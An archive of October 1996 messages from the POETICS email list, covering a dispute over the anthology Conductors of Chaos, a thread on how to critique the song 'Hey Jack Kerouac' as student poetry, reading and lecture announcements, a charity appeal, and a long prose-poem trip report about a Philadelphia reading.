Curious too that the book that props up Robert Potts' critique of the anthology (Donald Davie's _Purity of Diction in English Verse_) was published in 1952. Having read him now,I'd say that Potts is not altogether obtuse but merely unsympathetic and predictable: yet another voice of the Movement. Nodding in the direction of one or two poets who challenge that frame (Douglas Oliver, Barry MacSweeney, etc.) sustains it by making it appear flexible. As a study in the tactics of a "mainstream," it might be contrasted with the silence of literary journalists in the US.

Potts is so intent on blasting Prynne and "Cambridge" that he obliterates real differences among the poets in the anthology, so that we hear nothing, for instance, of the fact that the anthology includes a poet born in 1918 (Nicholas Moore) and another born in 1964 (Drew Milne). Part of the work of the anthology involves uncovering some of that which the Movement helped bury, but this cannot be mentioned apparently so that the Movement remains timeless and "English."

More to say but not today--except that the anthology, as CB suggests, is well worth checking out.

Keith

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276. Pierre Joris
Re: Conductors of Chaos
Mon 14 Oct 1996

Keith Tuma wrote:
>
> Curious that the _TLS_ even bothered to assign a review for _Conductors of
> Chaos_. Messerli, Hoover, Weinberger, etc.--were they reviewed in the _NY
> Times Book Review_ or _The New York Review of Books_?

Keith: the NYTBR has an odd "policy" according to which it does not review "anthologies." There is of course no explanation why this policy was set up when god or the editor of the NYTBR hovered over chaos & decided reviewing the world. -- Pierre

↑ Index

277. Bill Luoma
your review
Mon 14 Oct 1996

---

howlie doven,

just got caught up to poetics and read your review this morning. wowa. absolutely meowie. I was howling at every line. woke up roommate. i've never felt brackets to be so amusing and simultaneously terrifying.

so where is all that [poetry] you've been writing?

love,

Bill

↑ Index

278. MAXINE CHERNOFF
Re: Conductors of Chaos
Mon 14 Oct 1996

Bravo, Keith Tuma. When Messerli, Hoover, and Weinberger appeared, there were no major mainstream American reviews though the TLS did give the Hoover anthology (and perhaps the others in different issues?) a short but sympathetic review. As for the NYT, they were reviewing Amy Hempel's salute to dogs (or was it poems by dogs) anthology around that time. Life is strangely and predictably unfair, no?

Bravo qalso to the Creeley thread, esp. Ron Silliman's recent posting and to all the Nobel bashers!

Maxine Chernoff

On Mon, 14 Oct 1996, Keith Tuma wrote:

> *Curious that the _TLS_ even bothered to assign a review for _Conductors of Chaos_. Messerli, Hoover, Weinberger, etc.--were they reviewed in the _NY Times Book Review_ or _The New York Review of Books_?*
>
> *Curious too that the book that props up Robert Potts' critique of the anthology (Donald Davie's _Purity of Diction in English Verse_) was published in 1952. Having read him now,I'd say that Potts is not altogether obtuse but merely unsympathetic and predictable: yet another voice of the Movement. Nodding in the direction of one or two poets who challenge that frame (Douglas Oliver, Barry MacSweeney, etc.) sustains it by making it appear flexible. As a study in the tactics of a "mainstream," it might be contrasted with the silence of literary journalists in the US.*
>
> *Potts is so intent on blasting Prynne and "Cambridge" that he obliterates real differences among the poets in the anthology, so that we hear nothing, for instance, of the fact that the anthology includes a poet born in 1918 (Nicholas Moore) and another born in 1964 (Drew Milne). Part of the work of the anthology involves uncovering some of that which the Movement helped bury, but this cannot be mentioned apparently so that the Movement remains timeless and "English."*
>
> *More to say but not today--except that the anthology, as CB suggests, is well worth checking out.*
>
> *Keith*

↑ Index

279. **Kevin Killian**

Re: student sincerity

Mon 14 Oct 1996

At 6:41 PM 10/14/96, alan clara sondheim wrote:
>stuffed animals and Metallica posters are pretty strong icons; also, are
>you assuming with "scars that never felt the wound" that there aren't
>similar pressures today? My daughter has identified with Jane's Addiction,
>Courtney Love, Nirvana, Black Crows, etc. (as have I for that matter);
>these are _current_ issues, not necessarily nostalgia, although they're
>cast as such. Don't forget the Beats appeared to have something to rebel
>against, something for; look at the situation now -

True--there is something thrilling and beautiful even in identifying fully with a cultural icon--it kind of fibrillates aspects of one's subconscious. But there are honest ways of expressing this and there are ways that come across, as Pat puts it, inauthentic. I think that the difficulty with the "Hey Jack Kerouac" is that, besides its minefield of cliches, it involves an unexamined ownership of experience that doesn't belong to the writer--in a way that doesn't take it in any new directions. On the beatlist, constantly Kerouac is referred to as "Jack." As if merely reading "On the Road" made you one of the heightened brotherhood, in someway made you Jack. This is sounding a lot like communion.

Dodie

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280. Don Cheney
Re: student sincerity
Mon 14 Oct 1996

---------- Forwarded with Changes ----------
From: [redacted] at @UCSD
Date: 10/14/96 11:12AM
*To: [redacted] at @UCSD
Subject: student sincerity
---

hey dodie,

that's a "10,000 Maniacs" (pop group) song! so start by discussing plagiarism! my girlfriend teaches at the local community college and a student recently turned in a paper that was written straight out of an encyclopedia. he even left in the reference to related topics: "....(see apartheid)."

don
[redacted]

This is Dodie--

Still teaching--or as Lacan put it, playing "subject supposed to know." (Forgive me if I've screwed up the reference.) Anyway, I'm still stumped when somebody brings in something that is totally wrong-headed, how to steer them gently into a more useful direction. The following poem was posted to the beat generation listserv, and it seemed to me to be a perfect example of bad student poetry. When I look at it my mind goes blank--as far as anything useful to say. One simply couldn't grunt out, "Don't do this anymore." If this were handed in to any of you--what would you say about it--as a way to begin a dialogue?

Thanks.

Dodie

> *HEY JACK KEROUAC*
> *(Robert Buck/Natalie Merchant)*
>
> *Hey Jack Kerouac, I think of your mother*
> *and the tears she cried, she cried for none other*
> *than her little boy lost in our little world that hated*
> *and that dared to drag him down.*
> *Her little boy courageous who chose his words*
> *from mouths of babes got lost in the wood.*
> *Hip flask slinging madmen, steaming cafe flirts,*
> *they all spoke through you.*
>
> *Hey Jack, now for the tricky part,*
> *when you were the brightest star*
> *who were the shadows?*
> *Of the San Francisco beat boys you were the favorite.*
> *Now they sit and rattle their bones and think of their blood stoned days.*
> *You chose your words from from mouths*
> *babes got lost in the wood.*
> *The hip flask slinging madmen,*
> *steaming cafe flirts, nights in Chinatown, howling at night.*
>
> *Allen baby, why so jaded?*
> *Have the boys all grown up and their beauty faded?*
> *Billy, what a saint they've made you,*
> *just like Mary down in Mexico on All Soul's Day.*
>
> *You chose your words from mouths*
> *of babes got lost in the wood.*
> *Cool junk booting madmen, street minded girls in Harlem, howling at night.*
> *What a tear stained shock of the world,*
> *you've gone away without saying goodbye.*

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281. Lisa Jarnot
fall ear inn readings
Mon 14 Oct 1996

October and November 1996: Readings at The Ear Inn

OCT 19: ANSELM BERRIGAN, KIM LYONS Kim Lyons recently collaborated with Ed Epping on an artists book called Mettle. She has poetry forthcoming in The World and Pagan Place and her chapbook, Rhyme the Lake, is available from leave books. Anselm Berrigan has returned to New York after a two year stay in San Francisco. His recent publications include a chapbook, On the

Premises, and poems which have appeared in several magazines, including Talisman, Prosodia, and Yale Younger Poets.

OCT 26: DEIRDRE KOVAC, BARBARA HENNING Deirdre Kovac lives in Brooklyn. She is associate editor of Big Allis and is completing her first collection of poems, Mannerism. Her poetry and criticism have appeared recently and are forthcoming in American Letters & Commentary, Denver Quarterly, Letterbox, Object, The Poetry Project Newsletter, and Torque. Barbara Henning is the editor-publisher of Long News Books. Her most recent collection, Love Makes Thinking Dark, was published by United Artists Books in 1995. Her work can be found in Talisman, Chain, and Trois and she has a collection of poems, In Between, forthcoming from Spectacular Diseases.

NOV 2 BETH BORRUS, SCOTT BENTLEY Scott Bentley lives in Oakland and teaches at Cal State Hayward. He has an O book called Ground Air that rides shotgun into the KWave. He handles landscapes and large objects. Beth Borrus has recently returned from a hiatus in Paris with Edith Piaff. She has a new collection of poems called Fast Divorce Bankruptcy published by Incommunicado. She lives in Elizabeth and works in Newark.

NOV 9 ANGE MLINKO, EDWIN TORRES Ange Mlinko lives in Providence and edits Compound Eye. She has a new chapbook out from Lift called Immediate Orgy & Audit. She grooves to New York. Edwin Torres is a poet who exists in the you-misphere of the alphabet. He was recently curator of the monday night series at St. Mark s and a recipient of a grant from the Foundation for Contemporary Performance Art. His two collections are Lung Poetry & I Hear Things People Haven't Really Said.

NOV 16 DREW GARDNER, CHUCK STEIN Drew Gardner does not play loud like a young jazz drummer. He has two chapbooks, Stonewalk published by St. Lazar and The Cover from Leave. He practices at night and lives in Brooklyn. Chuck Stein will not stop working on his life project forestforthetrees. His most recent book is a selected poems from Station Hill called hatracktree. Marie Osmond has performed his speaking backwards poetry on Ripley's Believe It or Not. He lives in the Hudson Valley.

NOV 23 LYDIA DAVIS, PATRICIA JONES Patricia Jones has a new book out from Coffee House called The Weather That Kills and a Telephone chapbook called My Mythologies Always. She is a fellow at Breadloaf, teaches at Sara Lawrence and lives in the heart of Brooklyn. Lydia Davis is a prose writer and translator living in upstate New York. Recently out from High Risk are The End of the Story and Break It Down. A new collection of stories called Almost No Memory is soon to be published by Farrar-Strauss.

NOV 30 ROSS BROCKLEY, JIM KRELL Jim Krell is the author of three collections of poetry: Here & Now, a Black Sparrow imprint edited by Jonathan

Williams, Vice of Woes, and On the Advice of Wolves (Terminal Inc.). His new project is a series of love poems to Michelle. He is a fixture in the east village. Ross Brockley performs Monday nights at the Luna Lounge. His work has been described as the surrealist mutterings of damaged goods. As Janeane Garafolo says in Playboy, "I woke up and rolled over, and there was Ross Brockley. My first thought was, Oh, I know that guy! He's funny. Thank God it's a good comic. I mean he could have been a hack."

SATURDAY AFTERNOON READINGS begin at 2:30 pm, $3.00 contribution goes to readers. THE EAR INN is at 326 Spring St. NYC. Coordinators for this series are Lisa Jarnot (October) and Bill Luoma (November). Continuing support of this series is provided by the Segue Foundation. Funding is made possible by support from the Literature Program of the New York State Council on the Arts. PLEASE SUPPORT THE EAR-- COME EARLY FOR LUNCH, STAY LATE FOR DINNER!

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282. alan clara sondheim

blushes, ecology (fwd)

Mon 14 Oct 1996

---

ecological
resources
space
blushed
towards
the
fall
of
language
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283. Jordan Davis
Re: student sincerity
Mon 14 Oct 1996

Dodie--
That's a song lyric, not a poem.
It's by the 10,000 Maniacs.
The music's no good either.
--Jordan

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284. Pritchett,Pat
Re: student sincerity
Mon 14 Oct 1996

Bad student poetry it may be (personally I never liked this song), but she - Natalie Merchant - and they - 10,000 Maniacs - have made a fortune from it.

From: Kevin Killian
To: Multiple recipients of list POETICS
Subject: student sincerity
Date: Monday, October 14, 1996 1:00PM

This is Dodie--

Still teaching--or as Lacan put it, playing "subject supposed to know." (Forgive me if I've screwed up the reference.) Anyway, I'm still stumped when somebody brings in something that is totally wrong-headed, how to steer them gently into a more useful direction. The following poem was posted to the beat generation listserv, and it seemed to me to be a perfect example of bad student poetry. When I look at it my mind goes blank--as far as anything useful to say. One simply couldn't grunt out, "Don't do this anymore." If this were handed in to any of you--what would you say about it--as a way to begin a dialogue?

Thanks.

Dodie

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> *(Robert Buck/Natalie Merchant)*
>
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> *than her little boy lost in our little world that hated*
> *and that dared to drag him down.*
> *Her little boy courageous who chose his words*
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> *Have the boys all grown up and their beauty faded?*
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> *You chose your words from mouths*
> *of babes got lost in the wood.*
> *Cool junk booting madmen, street minded girls in Harlem, howling at night.*
> *What a tear stained shock of the world,*
> *you've gone away without saying goodbye.*

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285. **Kevin Killian**
Re: student sincerity
Mon 14 Oct 1996

At 8:58 PM 10/14/96, alan clara sondheim wrote:
>and I'm not sure that "authenticity" has had any
>real coin since Heidegger and/or Sartre...

Thanks for bringing some philosophy into this, you know, making it a *serious* discussion.

Dodie

↑ Index

286. **Tony Green**
Re: student sincerity
Mon 14 Oct 1996

---

steaming cafe flirts -- I'd keep that and forgo the rest. best

Tony Green,
e-mail: [redacted]

↑ Index

287. **Pritchett,Pat**
Re: student sincerity
Mon 14 Oct 1996

America uber alles, nicht wahr? Sorry if I sounded snide, Dodie. I found Maria's remarks very insightful, esp. the idea of juxtaposing Kerouac's text with the song's. But if it happened in my class, and I must add that I don't teach yet, but will soon, I think I wld. lead the discussion into an exploration of fetishes and sentimentality, albeit gently. JK and the Beats are invoked in this song for their nostalgic value. It all smacks of scars that never felt the wound. That wld be the place to begin: get the writer to explain/justify his/her intentions and attendant emotional associations. Albeit gently. In a way this song is rather sophisticated as a document of inauthentic public longing, more for what it deliberately leaves out then what it includes. It succeeds in reducing the Beats to icons in a teenager's bedroom on a par with stuffed animals and Metallica posters.

Patrick

From: Kevin Killian
To: Multiple recipients of list POETICS
Subject: Re: student sincerity
Date: Monday, October 14, 1996 2:50PM

At 1:23 PM 10/14/96, Pritchett,Pat @Silverplume wrote:
>Bad student poetry it may be (personally I never liked this song), but she
-
>Natalie Merchant - and they - 10,000 Maniacs - have made a fortune from it.

So you would say, "Keep doing this--if you don't win a Nobel Prize, it will make you rich some day?"

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288. **maria damon**
Re: student sincerity
Mon 14 Oct 1996

---

pat p rote:

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> *Albeit gently. In a way this song is rather sophisticated as a document of inauthentic public longing, more for what it deliberately leaves out then what it includes. It succeeds in reducing the Beats to icons in a teenager's bedroom on a par with stuffed animals and Metallica posters.*

i like this too --jk is so nostalgic himself for small town america and innocence ("sad" and "strange" are his favorite words it seems) --it seems like a great way to lead into a discussion of longing --there's also something about the familiarity with which the song treats beat icons, "hey billy" etc that speaks of the wannabe-ness of both Beats and postbeat yearners...see susan stewart's wonderful book On Longing, which by the way is also a great text to teach along w/ elizabeth bishop and travel literature in general, or have i already said this here before? xo,md

↑ Index

289. alan clara sondheim
Re: student sincerity
Mon 14 Oct 1996

---

stuffed animals and Metallica posters are pretty strong icons; also, are you assuming with "scars that never felt the wound" that there aren't similar pressures today? My daughter has identified with Jane's Addiction, Courtney Love, Nirvana, Black Crows, etc. (as have I for that matter); these are _current_ issues, not necessarily nostalgia, although they're cast as such. Don't forget the Beats appeared to have something to rebel against, something for; look at the situation now -

Alan

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>
> *Patrick*
> ----------
> *From: Kevin Killian*

> *To: Multiple recipients of list POETICS*
> *Subject: Re: student sincerity*
> *Date: Monday, October 14, 1996 2:50PM*
>
> *At 1:23 PM 10/14/96, Pritchett,Pat @Silverplume wrote:*
> *Bad student poetry it may be (personally I never liked this song), but she*
> *-*
> *Natalie Merchant - and they - 10,000 Maniacs - have made a fortune from it.*
>
> *So you would say, "Keep doing this--if you don't win a Nobel Prize, it will*
> *make you rich some day?"*

http://jefferson.village.virginia.edu/~spoons/internet_txt.html
images: http://www.cs.unca.edu/~davidson/pix/
faith has no interval

↑ Index

290. Charles Smith
Fwd: Conquering the World with Type
Mon 14 Oct 1996

Bay Area people might be interested in this. Alastair is the publisher of Poltroon Press (Lucia Berlin, Tom Raworth among others), a typographical wizard & genius on the linotype.

Forwarded message:
From: [redacted] (Kathleen Burch)
collecting)
collecting)
To: [redacted] (Multiple recipients of list BOOK_ARTS-L)
Date: 96-10-12 18:48:35 EDT

San Francisco Center for the Book presents:
Alastair Johnston: Four Lectures
Wednesdays 7-9; October 16 & 23, November 6 & 20
$5 general public, $3 Center members

Slide show & discussion following, exploring myriad and provocative issues surrounding typography. Topics: Parts of the Book, Making Design Suit Contents, Problems of Legibility, Vernacular Type & Letterform

The S.F. Center for the Book is at 300 de Haro at16th St.
in San Francisco -- [redacted]

Kathleen Burch
[redacted]
San Francisco Center for the Book

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291. **Pritchett,Pat**
Re: student sincerity
Mon 14 Oct 1996

What you say is certainly true, Alan, but I don't see any "current" problems finding overt expression in this particular song, the dominant tone of which is wistful, not angst-ridden. The appropriation of the Beats as icons/fetishes does, however, express some degree of anxiety about a generation's longing for direction. (And yes, I suppose a stuffed animal is as powerful an icon as a crucifix).

Patrick

From: alan clara sondheim
To: Multiple recipients of list POETICS
Subject: Re: student sincerity
Date: Monday, October 14, 1996 6:00PM

stuffed animals and Metallica posters are pretty strong icons; also, are you assuming with "scars that never felt the wound" that there aren't similar pressures today? My daughter has identified with Jane's Addiction, Courtney Love, Nirvana, Black Crows, etc. (as have I for that matter); these are _current_ issues, not necessarily nostalgia, although they're cast as such. Don't forget the Beats appeared to have something to rebel against, something for; look at the situation now -

Alan

On Mon, 14 Oct 1996, Pritchett,Pat @Silverplume wrote:

> America uber alles, nicht wahr? Sorry if I sounded snide, Dodie. I found
> Maria's remarks very insightful, esp. the idea of juxtaposing Kerouac's text
> with the song's. But if it happened in my class, and I must add that I don't
> teach yet, but will soon, I think I wld. lead the discussion into an
> exploration of fetishes and sentimentality, albeit gently. JK and the Beats
> are invoked in this song for their nostalgic value. It all smacks of scars
> that never felt the wound. That wld be the place to begin: get the writer

to
> explain/justify his/her intentions and attendant emotional associations.
> Albeit gently. In a way this song is rather sophisticated as a document of
> inauthentic public longing, more for what it deliberately leaves out then
> what it includes. It succeeds in reducing the Beats to icons in a
teenager's
> bedroom on a par with stuffed animals and Metallica posters.
>
> Patrick
> ----------
> From: Kevin Killian
> To: Multiple recipients of list POETICS
> Subject: Re: student sincerity
> Date: Monday, October 14, 1996 2:50PM
>
>
> At 1:23 PM 10/14/96, Pritchett,Pat @Silverplume wrote:
> >Bad student poetry it may be (personally I never liked this song), but
she
> -
> >Natalie Merchant - and they - 10,000 Maniacs - have made a fortune from
it.
>
> So you would say, "Keep doing this--if you don't win a Nobel Prize, it
will
> make you rich some day?"
>

http://jefferson.village.virginia.edu/~spoons/internet_txt.html
images: http://www.cs.unca.edu/~davidson/pix/
faith has no interval

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292. Gabrielle Welford
Help us publicize this as much as possible (fwd)
Mon 14 Oct 1996

---------- Forwarded message ----------
Date: Mon, 7 Oct 96 11:49:21 EDT
From: Shamita Dasgupta <[redacted]>

AN APPEAL:

"For any person what is important is self-respect. This came to me through Manavi. It is pathetic the way things are. Manavi is a ray of hope."

-- A survivor of domestic abuse

"Manavi is the first organization in the U.S. to address the special concerns of battered women of South Asian descent. For more than a decade, Manavi has been providing invaluable services to a minority community that requires culturally specific intervention."

-- Ellen Pence, Domestic Abuse Intervention Project

Dear Friend:

It is time again to support women who need your help to survive with dignity and pride. Your thoughtful contributions are essential for Manavi to continue our work of assisting women who are experiencing violence in their lives. We request that you keep Manavi in mind again when you make your 1996 United Way pledge.

In recent years, our work has been recognized and supported by many organizations such as WNYW Fox Television, Community Foundation of New Jersey, and AT&T. However, our challenge keeps growing. Last year, we assisted nearly 200 women in our communities.

We cannot even hope to accomplish our work without your support. Your contributions to Manavi will help us provide counseling, small loans, legal support and other assistance to women of South Asian descent in need. We ask you to specify Manavi (P.O. Box 614, Bloomfield, NJ 07003; Phone [redacted]; Fax [redacted]) in your Donor Options Section of United Pledge card. Please include the organization code # 009648, as it will help United Way in their distribution process.

If you would like more information about Manavi, please do not hesitate to contact us. We will be happy to send you information about our organization. Our website is:

http://www.research.att.com/orgs/ssr/people/bala/manavi

Sincerely,

Shamita Das Dasgupta, Ph.D.
Representative

UNITED WAY AGENCY CODE: 009648

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293. alan clara sondheim
Re: student sincerity
Mon 14 Oct 1996

While I tend to agree with you (and I don't like Hey Jack Kerouac as a poem), I'm loathe to define "honest" and "authentic/inauthentic" etc. - especially given an incredibly fragmented culture. And music _means_ to a lot of people way beyond the lyrics - look at Robert Walser's analysis of heavy metal. Personally, I prefer 10000m to Madonna, etc. But the point is that expressivity in music culture goes way beyond the ostensible lyric content of the songs, and I'm not sure that "authenticity" has had any real coin since Heidegger and/or Sartre...

For me, a problem on this list, repeatedly, is that of _audience._ Who are we critiquing and in what context? Similar issues came up with the Nobel Prize poem. I don't think we're careful enough in listening, and especially in listening to alterity.

Alan

On Mon, 14 Oct 1996, Kevin Killian wrote:

> *True--there is something thrilling and beautiful even in identifying fully with a cultural icon--it kind of fibrillates aspects of one's subconscious. But there are honest ways of expressing this and there are ways that come across, as Pat puts it, inauthentic. I think that the difficulty with the "Hey Jack Kerouac" is that, besides its minefield of cliches, it involves an unexamined ownership of experience that doesn't belong to the writer--in a way that doesn't take it in any new directions. On the beatlist, constantly Kerouac is referred to as "Jack." As if merely reading "On the Road" made you one of the heightened brotherhood, in someway made you Jack. This is sounding a lot like communion.*
>
> *Dodie*

http://jefferson.village.virginia.edu/~spoons/internet_txt.html
images: http://www.cs.unca.edu/~davidson/pix/
faith has no interval

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294. Stephen Vincent
Reading
Mon 14 Oct 1996

Stephen Vincent and Stefanie Marlis
will read this Friday evening

October 18, 7:30 at Olivers Bookstore
645 San Anselmo Avenue, San Anselmo California

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295. **alan clara sondheim**
Re: student sincerity
Mon 14 Oct 1996

Well, rather than bringing philosophy into it, let's continue in our usual fashion of disparaging popular poets and poems, pop music, and anything else that doesn't meet our unstated standards. Because after all, we know better. We're experimental.

I agree - no philosophy - just pure opinion. I LOVE IT

http://jefferson.village.virginia.edu/~spoons/internet_txt.html
images: http://www.cs.unca.edu/~davidson/pix/
faith has no interval

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296. **Mark Roberts**
Re: student sincerity
Mon 14 Oct 1996

What about Nick Cave for next years Nobel prize?

>Well, rather than bringing philosophy into it, let's continue in our usual
>fashion of disparaging popular poets and poems, pop music, and anything
>else that doesn't meet our unstated standards. Because after all, we know
>better. We're experimental.
>
>I agree - no philosophy - just pure opinion. I LOVE IT
>
> http://jefferson.village.virginia.edu/~spoons/internet_txt.html
> images: http://www.cs.unca.edu/~davidson/pix/
> faith has no interval
>
>
Mark Roberts
Student Systems Project Officer
& User Representative SIS Team.
Information Systems
University of Sydney NSW 2006 Australia
Ph. (02) 93517710

Mobile 015063970
Fax (02) 93517711

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297. **Bill Luoma**

Trip Report

Tue 15 Oct 1996

Illegal Park

for Chris &

Juliana

The description of this is an event at Writer's House that took
place October 7-8 1996 on the campus of the University of
Pennsylvania at Philadelphia. Shawn had announced the
safeness of an academic lot behind Writer's House but also
cautioned that minnesota plates had proven to be dangerous.
I wondered how plates from california would fare.
You're right to think they didn't fare well. My car got towed,
the remnants of a hurricane were around, Willmington
is whence we came and these are the nodes.

After Marlene is fed toast on 5th street, Juliana & I
get in the car to drive to Philadelphia. Juliana points
between the seats and asks if I keep my bird there.
No, I keep it over here I say and reach and pull the crow
feathers out of the vent. Chris is taking the train.

We go thru the Holland Tunnel and hit the turnpike.
We talk about references. I'm embarrassed not
to have any good ones. We pass Cherry Hill
which has a big bed bath & beyond. Juliana
thinks we should have been getting off the njTp
but I say there are To 95 signs around. When it's
10 miles to the Delaware bridge I ask Juliana if
she feels like we've gone too far. Yes. At the end
of the njTp I ask the toll taker what the best way
to phili is. He stands six five, wears cop ray bans
and looks like uncle fester. 30 miles back was
the best way he says. We go over the bridge to
Willmington and pick up the 95 north. Juliana
enjoys the factory on the right because it reminds
her of the owner who murdered his wrestler boyfriend.
Dupont is ISO 9002 certified.

We get closer to phili and I apologize for missing
the turn and say she will have to tell Douglass
of my round about route. He will get mad.
When fire is coming out the tops of poles
a guy is walking on the expressway.
He looks like a lion. Hey! It's Chris!

It was another guy and not really Chris
because if this guy had continued walking
on the expressway he would have made it
to Writer's House before Chris. Chris was
supposed to read with Juliana and I was
supposed to watch. Now it's 10 minutes
after the reading is supposed to start and
I'm on my way to the room with Josh
to get something to read. Josh asks me
questions on the walk back to Writer's House.
I take a look at the crowd and go out on the porch
to smoke hoping this will make the bus come.
It doesn't.

Josh gets up to start by introducing.
I sit on the floor in the back. Bill bla bla
bla Silliman bla bla bla San Diego bla bla
bla Oakland bla bla bla Ben bla bla bla Brooklyn.
Juliana bla bla bla 8 bla bla bla Chain bla bla bla
Bard bla bla bla Buffalo bla bla bla Albany.
Chris walks in with head perspiration, sits down
on the floor next to me and everyone turns around
and looks. Josh slides into a description of Chris.
Phili bla bla bla Temple bla bla bla Oops bla bla bla
Albany bla bla bla Jersey City.

I'm in my reading with a football poem
I wrote in a sports bar with my friend Jeff.
Half way thru the piece I say this is a visual poem
so why am I reading it. Then I talk about Joe Elliot
and walk back to where Chris is sitting, flip open my bag,
and pull out Joe's illustrated Half Gross. Then I perform
the trick that Dug taught me. I hand one end of Half Gross
to Chris and walk back to the reading place while the book
folds out into a long long sheet. We hold it up.
Bob wants me to read some. Earlier me & Juliana

had liked some of the same lines and I look for
the poems with these and read them.

* Your ruler will turn your mind toward more than you think.

* The tree man turned indomitable and pale.

* You'll only unravel dreams with trust.

* The numb inhabit known concepts.

* You come to be a wed but are wed in place of Pluto.

* They will find the clothes you leave on the ground.
Absence is sacred. An unnamed relationship. Hulls
persist on emptiness air overseas. The small still voice
inside you is a transistor radio.

* Halloween, the dark is alive. Your house is in order.
Your bed is made. Leave.

I end with Western Love at which Juliana felt like she was laughing too much
because no one else was.

I sit down on the floor next to Chris
and Juliana begins to read. She reads
Jordan says and Lisa's doing and wonders
why new york writing is against a certain kind
of abstraction. Chris passes me a note. Juliana
reads the poem about working in the psychiatrist's office.
She loves saying the refrain and everyone waits
to see if it's going to be different and then we all
try to answer the questions that follow about
being mean. Answer them quietly to ourselves
I mean.

Chris reads last. He starts with cell #103 from Jennifer's
new Imagination Verses and raves about her efficacy.
Then he does the Chris Stroffolino thing and we're all amazed.
He ends with a line about the snake in which it's
embraced as a concept. Often I am permitted
to return to Chris Stroffolino.

After the reading Juliana and Chris are complaining
about how it's hard to read after me because
my work is so ironic. I get mad and say
it's not ironic and walk out on the porch and smoke.
Shawn sticks her head out and says ding ding ding

and we sit and eat a dinner that Henrietta cooked
in the kitchen. It's a good dinner.

After dinner everyone talks and smokes on the porch.
Chris explains to Ahmed how Hegel used Kant
as a club to beat Kierkegaard. Ahmed doesn't believe
in kinds. Teresa is a technical writer. Patrick used to live
in a barn. Karen tells the story of the blubbering whore.
Teresa's boyfriend talks about reading at borders.
He has invited Phil Levine to town and uses Major Jackson
as a consultant. Sherry knows what outsourcing means.
This one is for Ron.

Sherry needs to move her car so me & her &
Juliana go to find it. We walk the campus and Juliana
is jealous that someone gets to teach here.
Sherry explains that she and her husband go out
in state college to watch the Bulls. She discusses
the Dennis Rodman book and likes the beginning.
However, there are no good words to describe
this beginning where Dennis has lost his Piston
friends to trades after winning it all. Dennis is sad
and wants to quit. He has no community and
there is no space in the NBA for tattoos and colored hair.
Well. You know the story. He just does it.
I wonder to myself about the veracity of Sherry's opening
lines about Dennis--that there are no good words
to describe his predicament--and conclude that Sherry
is really talking about herself. Sherry is Dennis Rodman.

Sherry's car appears and we note it and walk around the corner
into the white dog bar. Juliana asks me what my problem is
because I'm saying drink then car and corner and bar
and making no sense. Juliana buys the first round
and I realize I'm having a fit. They want to see the visual poem
so I hand it to them and walk into the bar next door because
it has a cigarette machine. When I get back Juliana says
I'm out of control. She is referring to the visual poem I think.

I ask Juliana how big the Jordan piece is and
she says that's how big it is. I say I laughed
during it in response to her I want to be funny.
I say her Testimony is terrifying. I love that.
Why do you want to be funny? It's a dumb question

because I want to be terrifying and I'm still mad
about the ironic comment and o irony is certainly
not terrifying I say. Western Love is about passion
and passion is often not very funny and is only ironic
to Alanis Morissette. Passion is also terrifying because
it's everything, all at once and forever. Moreso I say
the humor is trick just as it's a trick that I appear calm
next to Douglass. People are also tricked by the dedication
to Jennifer a female from Bill a male but if you ignore that
and look at the poems it's often hard to figure out what genders
are conversing. Juliana says she's noticed and then lays out
her theory. New American writers had this creepy male I
to female you. She loves the language poets because
they attacked this problem and destroyed that I.
Now Lee Ann's crush is making things difficult
and Juliana's students are also confused about
their genders and this imparts a new energy to the work.

Juliana asks how is Jeff? I say Jeff is good.
He my tokie furlong. She says in Buffalo
he was always lying like if you asked him
about the fabric of his jacket he'd say
it was made out of vanilla brain coral.
I explain that Jeff is one of the few men
I love to hug and that he gives me rocks.
Juliana says at one point Jeff had slept
with all her Buffalo roommates. I say
I thought Jeff had a passion for local girls
who danced the polka. Sherry & Juliana
talk about the polka. I smoke and laugh
to myself concerning what Jeff said
about Juliana.

Sherry orders another round and tells us
about fish ladders. I hear wacker drive
and ways to order sequences and Sherry
wonders how we answer questions about
the mainstream. We don't we say. Instead
Juliana talks about teaching the Next Generation
where Dharmok and Gilhad are at Tenagra.
She wants to see the aphasia virus episode
because it is about the dissolution of community.
Tenagra on the other hand means union.

Sherry drives us back to the dorm and we go
thru security with the guest passes.
They say Guest of Al Filreis. 888-89-1035.
Ex: 0-6/30/97 ACAD. PRG. IN RES.
PENNcard is the property of the University
of Pennsylvania and is not transferable.
It should be carried at all times and
presented upon request. There is a charge
for replacement of a lost card. We go to sleep.

Writer's House opens at noon and people walk in
from the hurricane and meet. Shawn takes our orders
for cheesesteaks. Delivery will take too long.
She and Juliana go out into the hurricane for pick up.
Louis is reading Laura Riding essays and says
she was no angel. Who was I wonder. Louis then
wants to look at my hat. I hand it to him and he looks
inside and says adam. I ask Chris about his snake line
and he says remember the don't tread on me flag?
We had a flag with snake on it.

I think about my car and run into the hurricane
behind Writer's House to look for it. I walk back
to Writer's House and kick a beam on the porch
and laugh. The cheesesteaks arrive. I tell about
the car. Juliana laughs. The cheesesteaks are good.

Shawn has figured out where the car is
and she and Juliana have gone to a cash machine
and hailed a cab. Chris goes in the cab too and
it's a full cab with a carribean driver who smokes
Marlboro reds.

vare vare it's exit 42
on 76 vare east
like valley forge 70
hold on a minute 2
blocks away lot rain
miss luther miss
luther roger give me
1 minute 2700 even
standing by the door
is mary 924 the flag
had a snake on it

63rd is chestnut ha ha ha
say girlfriend what's
the exit 42 what's the
place r&k towing do you
have cable do you have
cable a better country
with a snake on the flag
924 apt a

The Sunoco balls are numbered 550 & 536
and exist in a field of cultivation. Juliana
pays $80 as I dig out my license. UPENN
will reimburse her when she presents the receipt.

We get lost on the drive back to campus.
My passengers hold the softballs in the back
seat and comment. Juliana notes that one says
Fitterman and one says Douglass. She likes the one
named Douglass. Shawn announces she played softball
in high school and at UPENN. Fastpitch. I say I find
that fastpitch softball is harder to play than hardball.
We learn Shawn used to pitch and struck out lots and hit
a few batters and that made people mad until she found
her love of poetry.

We're getting more & more lost in the hurricane
and find ourselves approaching the Walt Whitman bridge.
Chris says stop stop turn around turn around
we're going to end up in Willmington
we're going to end up in Willmington.
Chris there is nowhere to stop or turn around.
Beatific Chris is agitated so a service road appears.
A sign says To Refineries and I jerk the car to the right.
Fields of numbered tanks calm us down. We drive under
the Walt Whitman and find another service road that leads back
to the 291 and our way. Juliana says that's the most fun
she's had in a long time. I thank Chris for his advice.

The car we leave in a meter and head back
inside Writer's House. Soon there will be a talk
in the livingroom. Gil will show and Bob and Teresa
and Louis and Dave. Josh & Shawn are managing.
Gil sits down next to me so I try and flatter him.
Your burning deck book has a lot of passion for how

sparse it is. I tell him yes he should take it as a
complement. The tape recorder starts.

